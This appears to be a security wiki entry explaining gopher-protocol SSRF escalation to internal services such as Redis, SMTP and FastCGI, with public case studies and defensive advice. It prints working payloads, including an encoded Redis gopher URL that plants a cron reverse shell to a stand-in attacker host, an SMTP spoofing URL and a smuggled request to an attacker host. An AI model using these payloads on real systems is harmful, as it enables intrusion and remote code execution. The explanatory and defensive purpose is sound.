Gopher Protocol SSRF
gopher://lets an SSRF write arbitrary bytes (including CRLF) to an arbitrary TCP port, so a URL-fetch primitive becomes a raw socket to Redis/memcached/MySQL/SMTP/FastCGI on localhost — the usual path from blind SSRF to RCE.
How it works
gopher://host:port/_<data> opens a TCP connection to host:port and sends <data> verbatim after the first byte (the gopher item type, conventionally _). Because the payload is sent raw and URL-encoded CRLF (%0D%0A) is honoured, you can smuggle a complete line-based protocol exchange into one request. The response usually isn’t reflected (blind), so gopher SSRF→RCE is typically fire-and-forget: craft the exact protocol bytes, send, and let the side effect (a written cron job, a sent mail, an executed query) do the work. Requires the client to permit the gopher scheme; when it’s filtered at input, reach it via a 302 (Open Redirect to SSRF).
Techniques / payloads
Format: gopher://[host]:[port]/[type][selector], data URL-encoded, CRLF as %0D%0A. Gopherus (tarunkant/Gopherus) and SSRFmap (swisskyrepo/SSRFmap) generate ready payloads for:
| Service | Port | Outcome |
|---|---|---|
| Redis | 6379 | config set dir/dbfilename + save to write a cron job or webshell, or module load → reverse shell |
| MySQL | 3306 | unauthenticated query exec (local, no-password) |
| FastCGI | 9000 | php-fpm → RCE via PHP_VALUE/SCRIPT_FILENAME |
| Memcached | 11211 | read/poison cache entries |
| SMTP | 25 | send spoofed mail |
| Zabbix | 10050 | agent command exec |
Redis reverse-shell (Gopherus, as used against Yahoo Mail): flushall, set a key to a crontab line running bash -c "sh -i >& /dev/tcp/ATTACKER/1337 0>&1", config set dir /var/lib/redis, config set dbfilename root, save — delivered as one encoded gopher URL:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A...config...set...dir.../var/lib/redis...dbfilename...root...save%0A
SMTP (send mail):
gopher://127.0.0.1:25/_HELO%20localhost%0D%0AMAIL%20FROM:<a@site.com>%0D%0ARCPT%20TO:<v@site.com>%0D%0ADATA%0D%0A...%0D%0A.%0D%0AQUIT%0D%0A
Smuggle a full HTTP request to another internal service: gopher://proxy:8080/_GET http://attacker/x HTTP/1.1%0A%0A (and POST with a body). Port-scan first with gopher/timing: open ports answer fast, closed ones hang — in the Yahoo case this fingerprinted Redis on 6379 before the RCE.
Notable cases
- Yahoo Mail logoGrabber → RCE, $15k (sirleeroyjenkins) — blind SSRF;
gopher://blocked at input but followed via a self-hosted302; gopher port-scan found Redis 6379; Gopherus cron payload → root reverse shell (arrived ~5 min late). - Resecurity red-team — blind SSRF on a host with gopher enabled; gopher port-scan → Redis 6379 → Gopherus payload → reverse shell and lateral movement.
- rConfig CVE-2026-135696 (no gopher needed) — the same Redis outcome without a scheme trick. The device-config downloader let users set
device_port_overrideto 6379, and theDeviceIpIsValidloopback guard passed hostnames it never resolved. The downloader’s own protocol traffic reached loopback Redis, where Redis parsed it as inline commands, giving RCE. Fixed in 8.2.22 (GHSA-3x54-whhw-vrq9). A scheme allowlist does not help when the client protocol plus a chosen port already crosses into a line-based service.
Defenses
- Scheme allowlist: permit only
http/https, rejectgopher/dict/ftp/fileat input and on every redirect hop (Open Redirect to SSRF). - Don’t expose unauthenticated TCP services on loopback; require auth on Redis, bind to sockets, disable dangerous
CONFIG/MODULE. Egress policy and SSRF Prevention. - Most SSRF→RCE chains need gopher plus a weak internal service — close both.
Related
- Server-Side Request Forgery
- Blind SSRF — gopher is the dominant blind→RCE escalation
- Open Redirect to SSRF — reaching
gopher://when it’s filtered at input - Local File Read via SSRF — sibling non-HTTP scheme abuse
- Out-of-Band Detection · SSRF Prevention